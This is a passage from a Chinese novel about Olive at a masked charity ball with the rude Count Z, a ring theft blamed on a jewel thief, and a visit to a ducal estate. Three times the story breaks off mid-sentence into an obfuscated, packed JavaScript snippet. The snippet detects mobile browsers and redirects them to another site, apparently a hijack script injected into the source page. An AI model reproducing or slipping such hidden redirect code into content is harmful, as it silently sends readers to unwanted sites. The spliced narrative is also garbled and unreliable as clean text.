经过几位小姐时,她们的对话飘进耳中: “凭什么让她跳打头一场?” “凭她姓库珀,她父亲像巴尔扎克笔下的箍桶匠(cooper)一样有钱。”库珀先生和作家塑造的暴发户葛朗台是彻头彻尾两种人,很多姓氏都源于职业,拿来开玩笑根本没意思,奥丽芙想。但这个不太高级的双关却在姑娘中博得了一阵笑声。 另一人说:“她肯定忘了这是场慈善舞会——有人吃不起面包,她却戴了比栗子还大的钻石炫耀。” 奥丽芙认出最后这个声音是霍尔小姐,伊迪丝的一位朋友——还是她的朋友! 库珀先生为妇女联盟捐献的款子比谁都多,而伊迪丝为游园会忙前忙后,废寝忘食。可她们看见伊迪丝戴一条项链就要不满,这些浅薄无聊的长嘴婆。奥丽芙顿住脚。 Z伯爵看她一眼,用相当大的声音说:“小姐,你的裙子真是美丽极了,你穿着尤其合适。我很喜欢看女孩子大大方方穿戴华美的衣饰——两方面都会增色。我认为,这当然是件值得自豪的事,你认为呢?” 他的话语是在驳斥那几人,他的眼睛同时看着奥丽芙,又悄悄地为自己刚才的无礼请求谅解。 几位小姐讪讪地住了嘴。 奥丽芙心里挺高兴。既然Z伯爵对伊迪丝的看法是正确的,她也就不太介意别的了。她一面坐下,一面笑着说:“要两方面都增色,只有像库珀小姐那样既又大方又文雅的姑娘才行。” “你当然也是。”停了停,Z伯爵又说,“库珀小姐的那条项链的确引人注目,我认为它非常美丽,让人挪不开眼。” 这是解释他不久前盯住伊迪丝不放的失态举止。 不管怎样他帮伊迪丝说了话,这大概就是悔改的苗头。奥丽芙说:“那是她母亲的项链。库珀小姐说她母亲在世时,常常帮助穷苦的人,她在今天戴这条项链,是为了纪念她母亲。” “你一定也很想念你的母亲吧。”Z伯爵很温和地说。 奥丽芙眼睛一潮。父亲去世后,除过姨妈,她还没和任何人谈过母亲,甚至在库珀先生面前也没说过。只有那回,Z伯爵捡到项链,看见了母亲的画像。是不是这个缘故,他的语调才格外地令她触动?她又想起,Z伯爵很小就失去父母,成了孤儿。 Z伯爵仿佛看出了奥丽芙的想法,嘴角立即又显出那种不屑的弧线:“至于我自己,我认为离开就是离开,我从不想念任何人。只有你们女人才会多愁善感。” 奥丽芙惊诧地看了他一眼,什么样的人会把对母亲的怀念称作“多愁善感”? Z伯爵满不在乎。他也就刚才“绅士”了那么一会儿,这当儿,他丢开奥丽芙不顾,四下里打量,甚至拿出一只看戏用的黄铜小望远镜,大模大样举在眼前,放肆地向人群中窥看。 奥丽芙有充分理由怀疑他在关注女士们露出的脖子和手臂,可没想到的是,Z伯爵边看边微微摇头,仿佛所见到的还颇入不了他的眼。奥丽芙暗骂:无耻,下流! 她正要起身走开,Z伯爵放下望远镜,目光移向她:“我发现——” 就在这时,乐曲停歇,舞池里的人纷纷走下来,原来两只曲子已经跳完。四对舞一次有四对男女同时跳,可在场的人多着呢,所以,跳完两曲会换一拨,司仪示意等候的人上场。 Z伯爵一跃而起,冲奥丽芙笑道:“别的事情放一放,先来跳舞吧。” 奥丽芙喜欢跳舞,在和父亲游历欧洲各国的日子,她曾在城堡冷森森的大厅中,和神情庄重的主人像天鹅般舒缓地划着圈;也曾在乡村谷仓边的空地上,伴着手风琴和铃鼓,一手拎着裙子,一手高扬,和身着背心、喜气洋洋的庄稼汉面对面旋转。 而Z伯爵的舞步,兼具贵族的优雅与农夫小伙子的伶俐——还是更像庄稼汉一些,他跳得疯狂极了,仿佛舞蹈不必遵从固定的模式和动作,只要像从篝火中飞溅而出的火星就行。 长久以来第一次,奥丽芙又成了一个渴望玩乐的姑娘,她把别的一切都忘了。 直到Z伯爵将她送回座位,奥丽芙才回过神。她听见Z伯爵说:“现在是热身,等会儿我们再跳华尔兹。”说完他转身不见了。 Z伯爵离开后,舞会上的其他年轻人纷纷来请奥丽芙跳舞,好容易,她坐下休息了一会儿。可华尔兹的音乐又响起了,像前几回一样,奥丽芙不由自主地向人群中寻找。 此时,华尔兹已经在欧洲风靡许久,但这次的慈善舞会为尊重昔日宫廷舞会的习惯,仍以四对舞作为开场,中间多种类型的舞蹈交替,最后会以华尔兹作为结束。 跳四对舞时,舞伴之间面对面,很少有身体碰触,可是华尔兹不同,男士要扶住女士的腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922034|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,女士则手搭在男士臂上——在它流行之初,这种“搂搂抱抱”的舞姿曾被认为“有伤风化”。 其实,它更考验舞伴之间的配合,要是有一人舞步笨拙,整体效果就不太好看。 正在跳舞的人当中,当数伊迪丝跳得最好,甚至可以引导舞伴。与她共舞的青年本来对自己的舞步不大自信,可跳着跳着,便也流畅起来,那个人是德·雷斯托。 奥丽芙正欣赏别人跳舞,范德梅尔不知从哪儿挤出来,在她身边一屁股坐下,扬手让侍者送来饮料,脱下手套,端起杯子喝了一大口,自言自语道:“和胖女人跳舞真够累的。” 发完这句不厚道的评论,他向奥丽芙转过脸:“你要是知道我刚才和谁跳,就会同情我了。” 奥丽芙知道,是布兰登公爵夫人。据凯里夫人说,布兰登公爵为协会捐了五百英镑,但他身为外交大臣,在公事上应酬很多,因此平时能休息则休息,怎么也不肯来参加舞会,只请夫人代劳。 之前有一场舞,奥丽芙在舞池中遇到了范德梅尔,看见他艰难地拖着体重超过一百五十磅的公爵夫人。对他可真够难的——本来范德梅尔是那种满心里只有自己漂不漂亮潇不潇洒的男人,除非舞伴是伊迪丝,才会关注一下,他怎么可能有耐心敷衍公爵夫人,无非是想巴结公爵,不得不经受“考验”吧。 奥丽芙在心里好笑,但她什么也没说。大概正因她给人嘴巴严的印象,范德梅尔才愿意向她“吐露心声”。 范德梅尔向舞池望了片刻,又开了口:“德·雷斯托那个可怜的家伙,除了库珀小姐,他再不会和别人跳华尔兹。不能怪他,库珀小姐是舞会当之无愧的女王,她那颗钻石,正是女王戴在脖子上的。” 说完,他转头等奥丽芙附和,好像突然发现她也是位年轻小姐,连忙笑道:“可是我和德·雷斯托不同,我至少很愿意与舞厅中第二美丽的姑娘跳舞。” 奥丽芙看出范德梅尔说的并非真心话,她自己也不想跳,便说:“要是你不介意的话,我还想再坐一会儿。” “当然,当然。”范德梅尔向后靠在椅背上。 没多大工夫,他忽然坐直了身体,伸长脖子朝大厅入口望去。 奥丽芙不由好奇,也望过去,正好看见一位女郎不紧不慢地走进来:她身着黑色长裙,肩部连同整条袖子都是由精美无比的花边勾成的,裙子的下摆也同样缀着贵重的花边,小粒的玻璃珠和贝母挂在上面,像叶片上挂着的水珠一般,随着她的步子,荡漾出细微的光芒。她戴着黑手套的手握着一把黑色折扇,她的面罩是用黑天鹅的羽毛做的,面罩之上,金色的头发编成两条发辫绕在头顶,像一顶闪闪发光的冠冕。 “伯爵夫人。”奥丽芙听见范德梅尔用荷兰语喃喃道,同时她也明白,这正是刚才几位太太谈论的那位夫人。 奥丽芙的眼睛没法不盯着伯爵夫人,好一时才能移开,这时她才注意到,伯爵夫人身边还有一位身材魁伟的先生。虽然戴着面罩,但能看出来这位先生样貌堂堂,可配身旁的贵夫人,似乎还是让人感到有点不足。 在这两人之后,又跟着一位同样身材高大的青年人,伴着一位瘦削、略显疲态的女士,再之后,独自走着的是个高个儿、肤色苍白的姑娘。奥丽芙从那青年重而拖沓的步态上认出他是小默顿,然后才醒悟走在前面的是他父亲,默顿公爵,和他并排的是他母亲,而后面跟着的是他的妹妹,公爵小姐。 奥丽芙第一次见到小默顿的家人,本来该仔细瞧瞧,不过,她还是对伯爵夫人更感兴趣。 “伯爵夫人姓什么?”她问范德梅尔,可是范德梅尔已经站起身,向着那群人迎过去了。 12. 最后一曲 舞会进入到后半段时,整个大厅弥漫着一种轻飘飘的快乐气氛,不管认不认识,人们随意地聊天,随意地跳舞。甚至有那么一两位不太绅士的家伙——只要穿上一身礼服,又花得起入场券的钱,什么样的男士都能进来——把酒馆作风一并带了来:摇摇晃晃走到姑娘面前,忽地一弯身,抓起她的胳膊就跳。 不过,尊贵的夫人和小姐们自有一股凛然不可犯的气派,只允许男士用彬彬有礼的态度对待她们。 其中,又数奥丽芙还不晓得姓名的那位伯爵夫人气派最足。她在默顿公爵一家的陪伴下进入市政厅后,便在一个不太显眼的角落坐下,挺直背,像女王坐在王座上,接受臣子觐见。 在她身边,是个身着将军礼服、大腹便便的男人,黑面罩下,有一部醒目的、又黑又翘的胡子。这个男人胡子一翘一翘,说个不停,伯爵夫人不但不开口,连脸都不向他转一下。 社交场合,一位男士与女士单独交谈,发现自己不受欢迎,应当自觉找借口离开,即便聊得投机,时间也该控制在二十分钟以内,或者,至少在其他男士表示出想要取代的意思时,起身让出位子。 而这个大胡子,无视伯爵夫人冷冰冰的态度,也无视接二连三来到伯爵夫人面前问候的男士,只管死乞白赖地坐着不动。 伯爵夫人好像也不急于离开,当别人邀她跳舞时,她都摇头拒绝了。她的拒绝并不使人难堪,似乎只要能得到她唇边的嫣然一笑,就已经是莫大的荣幸了,邀请的人仍络绎不绝。 奥丽芙只要得着机会,就朝伯爵夫人望几眼。当Z伯爵不知从哪里悠悠闲闲踱到她身边时,奥丽芙立即问他:“你认识那边那位伯爵夫人吗?” Z伯爵扭头一望,又很快转开头。“伯爵夫人?”奥丽芙听他低声哼出这个词。他的神色也很古怪——面对一位极其美丽、极其优雅,甚至整个大厅里找不出几个人能与之相较的女士,Z伯爵非但没显露出欣赏的意思,表情中反而还带着几分轻蔑与不愉快。 “我知道她。”Z伯爵看见奥丽芙诧异地看着他,便说,“怎么,你对她也有兴趣,女人也在你的研究范围之内?” 奥丽芙一愣,他是什么意思,他看出什么了? “你瞒不过我,布莱克小姐,我识得出你这类人。”Z伯爵语中带笑地说,“恕我直言,你崇拜头衔,听见公爵、男爵就竖起耳朵,看见马车上的家族徽章就两眼放光。你偷偷读《名人录》,把每位贵族的家谱来历背得滚瓜烂熟,好有朝一日,有幸和他们面对面交谈时,能援引一二。——我说得对不对?” 纵然他话语很无礼,可奥丽芙一点儿没生气,还乐得他这么想。 她装出尊严受了冒犯的样子,回击说:“我崇拜的不是贵族,是贵族精神。头衔再高,人品也得相配。” Z伯爵朝伯爵夫人座位的方向摆摆头:“你看那头俄罗斯狗熊怎么样呢?” 奥丽芙忍住笑:“我知道,那是舒伊斯基公爵,同时也是位将军。” “那你想必打探清楚了,将军大人在巴黎、里维埃拉有多少座豪华住宅,在他家乡有多少英亩森林、草场,养了多少匹猎狗和赛马,先前又拥有多少奴隶?” 奥丽芙对舒伊斯基公爵没有半点好感,这绝不单是因为他的样貌。 她听父亲说过,她的祖父母是匈牙利民族主义者,一直期盼马扎尔人能摆脱奥地利的统治,建立独立国家。他们同情农奴,参与过农奴起义,但起义被奥地利政府残酷镇压,祖父母也因此失去了性命。 其实父亲并不记得他的生身父母,这些事也是从收养他的韦恩先生口中得知的。父亲在英国长大,用英语交流,甚至用英语思考,英格兰已经成为了他实际上的故乡;但他一直没忘记他因何失去双亲,成为孤儿,也一直盼望他父母的愿望能达成。 匈牙利爆发革命那年,父亲正在牛津念书,奔赴战场与好心的韦恩先生的愿望是背道而驰的,因此父亲只在千里之外期盼好消息。但正当革命军快取得胜利时,俄国出兵,帮助奥地利重新控制了匈牙利。可想而知,父亲很失望。 父亲并不是民族主义者,从不曾有意向她灌输过民族思想,一般来说,他对不同国籍的人也没有偏见。但父亲带着她几乎走遍了欧洲所有地方,唯独没踏足奥地利和俄国,可见父亲心中确实存在怨恨,而她,不知不觉间受到了影响。 这时,奥丽芙看见舒伊斯基公爵仍在对伯爵夫人大谈特谈,起劲地挥着手,十只手指上至少戴着七八枚戒指,各种宝石的亮光闪耀着,她只感觉到厌恶。 奥丽芙板起脸:“不,我不清楚公爵有多么显赫的地位,我只知道他那模样不怎么好看。” Z伯爵也回过头去看。 俄国公爵的翘胡子一抖一抖的,好像是预备跳舞了,不知他如何劝动了伯爵夫人,或许是打算将她强拉起来,只见他很费劲地把自己肥胖的手指往手套里面塞。 蓦地,Z伯爵眼睛里闪出恶作剧的光。 “你看着,我去给他们捣点儿乱。” 说罢,他跳起身,向两人走去。奥丽芙不及阻止,惊讶地看他走到伯爵夫人面前,鞠了一躬,似乎是邀请对方跳舞。 不出意料,伯爵夫人拒绝了。但她仿佛受了一惊似的,先愣了片刻,才摇摇头,而且一点儿都没露出笑容。Z伯爵并不气馁,在旁边坐下,扭头朝舒伊斯基公爵说起话来,连比带划,谈得挺热闹,想必是在交流打猎心得吧,奥丽芙掉开目光。 可她再一抬眼时,发现又是Z伯爵站在面前。他没讲话,伸出的一只手说:跳舞去。 一只戴着白色手套的手,然后,是一张并没有弯曲、但似乎露着笑意的嘴巴,再然后,是一双海水般深邃的眼睛,最后,是金色的头发——几样东西交替在奥丽芙眼前闪现,好久一段时间后,她才能够看见周围的一切。 女士们的长裙,像一柄柄突然撑开的阳伞,而乐曲是迅疾的风,吹得伞面不住抖动。 至于她自己——为了便于跳舞的男女随时整理自己的衣服和头饰,有人在窗户中间的墙上临时挂了几面大镜子,有几回,奥丽芙的影子反映在镜子中,瞥到时,她没认出自己。怎么认得出?那是一团白炽的电光。 也有几回,奥丽芙瞄见了穿黑裙子的伯爵夫人,还好,她不是和“狗熊”跳舞,她好像在和默顿公爵跳,不过,不容看清,奥丽芙又转到一边去了。晚风从半开的窗户一阵阵吹进来,将她腰间的浅蓝色绸带吹得飘起,在她头顶,吊灯的烛火不住跳跃着。 直到今天,奥丽芙才头一次感觉到乐声一直流进了她的血液中,她全身上下每一处都要旋转,要跳,要飞,并且永远不愿停歇…… 可是,曲子终究还是停了。 “休息一会儿,咱们跳最后两支。”她听见Z伯爵小声说。接着,奥丽芙独自坐下了,胸口还剧烈起伏着。 又有几个人请她跳舞,奥丽芙都拒绝了,也没去辨认对方是谁。乐师正奏一曲《在夏夜将我思念》,奥丽芙听着,像做梦般望着舞场。 忽然,她想,伊迪丝不知去哪儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922035|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,Z伯爵怎么还不请她跳舞?可是,刚刚蹦出这个念头,就看见她脑子里想的两个人从一片五彩斑斓、衣香鬓影中现出来,转到了舞池中心。 看别人跳舞,特别是看跳得好的人跳,是一件多么赏心悦目的事——自己的双脚不动,心却和着节拍一蹦一蹦的,好像夏日里在树荫下休憩,听着鸟儿鸣唱。 不过,这会儿奥丽芙只看了几眼就转开目光。她认为自己不该受影响,不能因为两人在舞池中般配就认为他们真的般配。她又想起Z伯爵在跳舞开场前看伊迪丝的眼神。他以为胜券在握了?还早呢。除非他先学会真正的欣赏和尊重,不然,永远也别想赢到哪个女孩的心。 司仪蜜蜂一般在人群中穿梭,口里叫喊:“最后两支舞,华尔兹!” 一位青年看见奥丽芙坐着,眼睛一亮,走到她面前,弯腰邀请她。 奥丽芙刚站起身,Z伯爵不知从哪里冒出来,抢过她的手,将她拉到一边。 “你已经答应过我了,小姐。”他不满道。 “可你刚才不见了。”奥丽芙想说而没开口。 不知道Z伯爵哪里变了,但他确实变了,他整个人好像镀了一层铬,全身上下闪着快活的亮光。一定是因为刚刚和伊迪丝跳过舞的缘故,奥丽芙想。 Z伯爵的心思甚至已经不在跳舞上了。他的舞步非常娴熟,以至于他可以心不在焉地跳。他的眼睛在面具后蓝幽幽的,直盯着奥丽芙的头发,他说:“我刚才一直在想,什么样的宝石对你最合适。” 奥丽芙没戴首饰,今天,她的全部装饰差不多就是两根蓝色丝带,一根系在腰上,另一根用来将她那头黑发巧妙地束起。 她想,Z伯爵是嘲笑她戴不起珠宝吗。可是Z伯爵似乎没有讥讽的意思。 他的声音很低,仿佛在自语,却又刚好能让奥丽芙听见:“绿色宝石对你再合适不过,很符合你神秘的气质。——你的眼睛是黑的,你的头发几乎也是纯黑色,若是戴一条钻石发带,会像夜空中的星河一样闪耀。而在你美丽的脸蛋旁边、在你的耳朵上,应该挂两块绿宝石,它们像山林中的精灵,若是蓝宝石,就像水之精灵,红宝石,火之精灵……或许还是钻石更好?” 他沉思着停了片刻,“不,尽管任何宝石配黑发都很美,我还是选绿宝石。” 奥丽芙一阵愠怒:他把她看成什么了,展示珠宝的黑丝绒底座吗? Z伯爵仍在自语:“可是美丽的绿宝石很少见,或许该试试另一种来自东方的,同样带有神秘气息的宝石。” 最后一支舞时,舞厅中流动的欢乐气氛达到了顶点,奥丽芙却感觉周围静了下来,空了下来。不知不觉中,她被Z伯爵领到了大厅一边的一根立柱后,短暂地处于隐蔽之中。 “不知你注意过没有,色彩在不同的光线之下,会呈现不同的效果,让我仔细看看。” 只有一道光从Z伯爵身后照过来。那双蓝眼睛离她越来越近,变得越来越幽深。 Z伯爵伸出右手,抚了抚奥丽芙的头发,爱慕地说:“不论什么光线,你的头发都非常美。” 奥丽芙从Z伯爵左手中抽出自己的手,抬起胳膊,往他脸上打了一巴掌。Z伯爵的面罩被打歪在一边,露出那张俊美的脸。他如梦初醒,蓝眼睛里神情有点儿狼狈,不过也就一霎的工夫,Z伯爵又把面具重新戴好,模样毫不显尴尬,语气也不含怨愤:“对不起,小姐。请相信,我确实不想无礼,我只是以为,衬着你的……” 奥丽芙扭身走了,没听完他的话。 13. 戒指窃案 慈善舞会第二天,人们的心还没完全从舞池中转出来,又听说了一件怪事:俄国公爵舒伊斯基在跳舞厅丢了一枚镶着猫眼石的戒指。 是那个大盗!大家都这么想。 但这回的盗窃案比以往几件更加离奇:舒伊斯基公爵走进充作舞厅的市政厅时,戒指还好端端戴在他左手无名指上,舞会中间,公爵既没睡着,也没打盹,他的手也没因为跳舞而发麻,总之,要把戒指从他粗大的指头上撸下来,又让他毫无察觉,可不是一件容易的事——警察厅厅长亲自试验过了。 公爵随最后一拨离开的人出了舞厅,叫夜风一吹,他感到很惬意,低头看自己的手,发现最贵重的一枚戒指不见了。他立即冲到警察厅厅长家,把对方从睡梦中拽起来,向他报案。 警方再三询问,公爵始终坚称他走进舞厅时手指上有戒指,甚至准备跳舞时,他要戴上手套,那时戒指还在——因为戒指的缘故,手套很不好穿,他差点想把戒指卸下来,寻思了一会儿才作罢。 警察问他和谁跳舞,公爵一脸茫然,因为大家都戴着面罩嘛。而且,戒指消失的确切时间,他也怎么都说不清楚。 警察还询问了几位在舞会上见过公爵的人:每个人都注意到公爵手上戒指很多,但没有任何一个人清点数目,发现他的戒指什么时候多了一枚或者少了一枚。 最终,警方的结论是,舒伊斯基公爵自己忘了,摘下戒指,像丢硬币一样丢给了路边的叫花子,再不然,是被他的贴身男仆拿去卖了,反正绝不是在舞会上被那个珠宝大盗偷去的。 这只是警方挽回面子的言论,报纸毫不留情指出,此事一定是大盗所为,还列举了几种从手指摘走戒指的方法。伦敦城每一间客厅中,这件事被议论不休,人们头一次想到:大盗说不定是个女人。“她”在和公爵跳舞时偷走了戒指,至于如何隔着手套完成,这种细节问题该由警察追究。 所有人都激动地回想着自己看到的每一张——确切说是每“半张”——有点陌生的脸。不得不说,假面舞会,对盗贼来说,这可真是个得天独厚的作案场所,简直就像老鼠掉进了奶酪堆里。 现在,奥丽芙已经知道,就在父亲遇害那天晚上,伦敦城中发生了这一系列珠宝失窃案中的第一件。 一开始,她对大盗有几分怨恨:他早不偷,晚不偷,偏偏在父亲遇害那晚偷东西,害得警察围着他转,没工夫找寻杀害父亲的凶手。但后来,奥丽芙想明白了:伦敦警察就是愚蠢无能,即使没有珠宝失窃,也不能指望他们破了其它案子。 想通之后,奥丽芙不再在意大盗,对珠宝窃案则完全产生不了兴趣。这次,因为是样子讨厌的俄国公爵丢了东西,她心里高兴了几分钟,随后就不再想它了。 舞会上,除了Z伯爵的放肆无礼,奥丽芙对那位举手投足都极尽优雅的伯爵夫人印象最深。 第二天一早,看见伊迪丝时,她便问:“你知道昨天穿黑裙子的那位金发夫人是谁吗?” 伊迪丝马上回答:“是挪威的南森伯爵夫人,著名的冰美人。怎么,她就是这儿的客人啊,你很快就能看见她的。” 果然,当天晚些时候,两人去花园打网球,奥丽芙再次看见了那位北欧美人。伯爵夫人身穿白色绣花长裙,肩上围着一条浅紫色的开司米披肩,坐在长椅上读一本深蓝封皮的书。 在阳光下,没有面具,没有面纱,奥丽芙立即看出了自己在国王车站碰见过一次的贵夫人。难怪明明不认识,在假面舞会上看到她的身影却有似曾相识之感。 冰美人,真是贴切。虽然伯爵夫人一点儿都没有要融化的意思,可是,在日头下,她那张精致的面庞的的确确如冰晶一般闪着光。 这天天气晴朗,不少客人都在花园中坐着闲聊,唯伯爵夫人一人独自待在角落。网球场离伯爵夫人不远,但伯爵夫人好似身处与世隔绝的岛屿,她缓缓翻动书页,一次也没有抬头向四周望过。奥丽芙却难以专心,在捡球的空当,她总要瞧伯爵夫人几眼。 这时可以看出她是四十多岁。不过并非眼角或唇边细微的纹路泄露了她的年龄,就长相来说,她远不到四十,可她那种沉静自信、处乱不惊的气度,是在任何一位年轻女士身上都见不到的。 一位少女走过来,在长椅坐下,和她说了几句话,伯爵夫人脸上露出亲切的笑容。 “那位姑娘是谁?”休息时,奥丽芙和伊迪丝走到一边,问道。 “那是南森小姐,伯爵夫人的养女,好像原本是她一个拐弯抹角的亲戚。” “伯爵夫人自己没有孩子?”奥丽芙问。 伊迪丝惊诧地看着她,接着笑了:“她单身。她不是伯爵的妻子,她自己是一位女伯爵。” 噢,原来不是伯爵夫人,是女伯爵①。 奥丽芙认可贵族的风度,超过认可头衔。遗憾的是,遇见的大部分贵族,其风度和头衔远不匹配,比如那个模样滑稽的舒伊斯基公爵。唯独见到这位女伯爵,奥丽芙赞叹地想:这才是一位真正的贵族。 “为什么说她是冰美人?”她问伊迪丝。 “整个欧洲的男人都为她着了魔,可是她谁也不爱。她很富有,为慈善基金捐了不少钱,不过,她不愿意别人夸赞她。她真正放在心上的只有一个人,就是她的养女。南森小姐身体有点弱,去年下半年,女伯爵一直陪她在尼斯休养,来英国后,又去了巴斯。昨天她们和默顿公爵一家一起从巴斯回来。晚上,公爵一家还来酒店接女伯爵去舞会。南森小姐没去跳舞,因为她路上有点疲惫。——所以小默顿一整晚都不高兴。” 奥丽芙知道伊迪丝心里肯定不是这样想。谁都看得出,小默顿的情绪只同伊迪丝相关,倘若他果真不高兴,那定然是因为伊迪丝没答应和他跳最后两支舞。是谁获得了这个殊荣? 不过,通常只有女孩把最后两支舞看得重要,男士们在那个时候都放肆得很——也不能一概而论,假使他们不把舞伴看那么轻,大概就不会做出轻佻的行为。 奥丽芙心中乱想,又有点气恼了。伊迪丝还在讲小默顿向南森小姐献殷勤的事:“他们俩挺相配,是不是?” 一个美国女孩,谈论起感情问题,大概不像英国姑娘那么容易害羞,伊迪丝总喜欢开开玩笑,奥丽芙却怀疑她是借玩笑掩饰自己的真心。确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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埃莉诺·默顿像她母亲,身体柔弱,性格沉闷,不爱说话,和活泼、精力充沛的伊迪丝本来不容易变得亲密,但伊迪丝向来热情开朗,与谁都能交谈几句,不管怎么说,她们就算挺要好了。几天后,埃莉诺来绿窗酒店拜访伊迪丝时,带来了她母亲写的请柬。 默顿公爵在伦敦有住处,但真正与他身份相配的宅邸是距离伦敦市中心不到三十英里的威克菲尔德庄园。这时进了六月,正是草莓成熟的时节,默顿公爵夫人发起邀请,请库珀小姐去庄园的园圃采摘草莓。 公爵夫妇考虑周到,认为只请库珀小姐不大合适,于是一并请了儿子与库珀小姐共同的几位朋友,也就是范德梅尔伯爵、Z伯爵和德·雷斯托子爵;又请了亨利爵士的女儿、库珀小姐的闺中密友露易莎·凯里,同时,也没忘记库珀小姐的另一位好友奥丽芙。 公爵夫人为客人安排的行程是:上午出发,中午可到达庄园,下午游玩,品尝刚摘的新鲜草莓,晚上有个小小的宴会;第二天上午,如果客人起得早,可以在附近随意转转,午饭后返回伦敦。 大家都没费什么劲便接受了邀请。当日,伊迪丝请奥丽芙和露易莎一起乘坐她的漂亮马车,马车由四匹骏马拉着,中间几乎没休息过,一口气跑下来,十一点半左右就到了威克菲尔德。 14. 纹章故事 威克菲尔德庄园大厦是一幢宏伟的砖石建筑,坐东面西,共三层高,外加一层阁楼,从窗户数目判断,两面可能有三十多个房间。 公爵夫人和小默顿在大厅欢迎三人,彼此说了些客套话后,公爵夫人让女仆带客人去休息,并客气地表示:若三位小姐愿意,也可以在楼下随便转转,只是恕不能奉陪了。等所有客人到齐后,会有用人通知,大家便可以移步花园,在明媚的阳光下享用午餐。 供宾客使用的卧室在大厦第二层。伊迪丝因为带着侍女珍妮,住了一个套间,奥丽芙则住在相邻的单间中,但屋内也有独立的盥洗室,十分方便。 换好衣服后,奥丽芙立即下了楼。已经在马车中闷了好几个小时,她在屋内呆不下去了,迫切地想要来到户外,享受一下英格兰美丽六月的晴朗天气和鸟语花香。 经过一楼大厅时,奥丽芙停住脚,向四周仔细打量。这间大厅布置得完全符合公爵的身份——装饰豪华,家具略显笨重但颇具威仪,有窗户的那面墙上张着红色天鹅绒帷幔,上面用金线绣了一只只直立的狮子,厚厚的地毯上,也有同样的狮子图案。 默顿公爵的纹章在大厅中随处可见。椅背的最高处,正中心镶着这样一枚纹章:金色底,中间一个黑色十字,将盾形分成四块,其中右上和左下两部分内,各有一只直立的红色狮子,左上和右下,则各有一只行走的狮子。 壁炉架上的纹章图案亦是如此,但黄铜的壁炉挡板上,雕刻的图案略有不同:仅有直立狮子,少了两只行走的。 奥丽芙知道,现任默顿公爵并非家族长子一脉,上上一代公爵因为没有继承人,去世后由兄弟继承爵位,兄弟把自己的纹章图案——行走狮子——加在了公爵的纹章之上。 而某些老公爵使用过的物件,譬如壁炉挡板,上面的雕饰没有更改——可能新任公爵也认为这样更能显示兄弟两支的渊源。 奥丽芙盯着直立的狮子和行走的狮子,它们每个都一样,但是她一只一只地看过去。 狮子在全欧洲,尤其是英国,广受喜爱,是纹章中使用最多的动物图案,也是她父亲最喜欢的纹章图案之一。 在她小时候,还不能理解父亲身为孤儿的伤痛时,曾问过父亲:“为什么我们家没有家族纹章?” 父亲回答:“我父母留下的东西中,没有纹章,我的养父韦恩先生也没有,不是每个家族必须拥有家族纹章。” “我们现在能有一个吗?” “那我们可以选择狮子图案,韦恩先生很喜欢这个图案,你祖父肯定也喜欢狮子。狮子代表强大的力量、勇气、还有忠诚,你祖父是个斗士。” 父亲又谦虚地说:“我不是像狮子的人。” 停了一会儿,父亲摸摸她的脑袋:“但是,奥丽芙,你是个小斗士。” 我会像狮子一样勇敢。奥丽芙在心里说。 她正准备离开,楼梯上响起脚步声,转头一看,是Z伯爵。伯爵在楼梯半中朝她鞠了一躬,又快步走到她面前。 “太好了,你们到了。我正想着,你们怎么还不来,一个人呆着实在无聊。” 原来Z伯爵到得更早。 奥丽芙不大乐意和他多谈,倒并非是记恨的意思——自从舞会上她扇了Z伯爵一耳光之后,两人还见过一两回,虽没私下交谈,但表面上都保持了平和的态度,这时Z伯爵笑容可掬,显然有修好之意,奥丽芙也就懒得计较了。 她只不过对他那套随随便便的公子哥儿做派不感冒。 这回Z伯爵倒挺彬彬有礼,他说:“很抱歉打扰了你,小姐,你是不是正在欣赏默顿公爵的古老纹章,你认为怎么样?” 奥丽芙向屋外走去,一边说:“很好,如你所说,他们是一个非常古老的家族。” “我想,你大概认识不少公爵伯爵之流吧,你觉得谁家的纹章最好看?” “好看?”奥丽芙偏头看他一眼,“纹章的意义在于它代表了家族观念,传递了家族历史,而不在于好看。”说完,奥丽芙立即想到这像是父亲会说的话。Z伯爵见没见过父亲? “恕我不能苟同。”Z伯爵轻快地摇头说,“不过,咱们别讨论那些高深的问题。不论精神,单论外表,哪个最好看?” 奥丽芙看着他笑了:“我还没有见过你的纹章,伯爵,你一定有个漂亮的族徽。” 和你的外表一样“漂亮”。 Z伯爵没听出奥丽芙的讽刺,傲气十足地回答:“是的,非常漂亮,可以说是最好的。” “那什么时候能让我看看吗,眼见为实。” Z伯爵似乎早就等着奥丽芙提出要求了,立马从口袋里掏出一个扁扁的盒子,但他没有马上把它递到奥丽芙手中,而是继续和她向前走。两人到了大厦后面的花园,走在一条细砂铺的小径上。不远处,几名仆人正在寻找避风的位置摆放桌椅,大约是为等会儿的户外午餐做准备。 看不见人时,Z伯爵说:“范德梅尔有一枚幸运硬币,其实不过是个小圆片,刻着他的名字罢了;而这个,是我的幸运物品,我也每天带着它。” 他们来到了一片树荫下,阳光透过枝叶洒在两人身上,洒在奥丽芙的帽檐上,Z伯爵站定,把一只烟盒交给她。 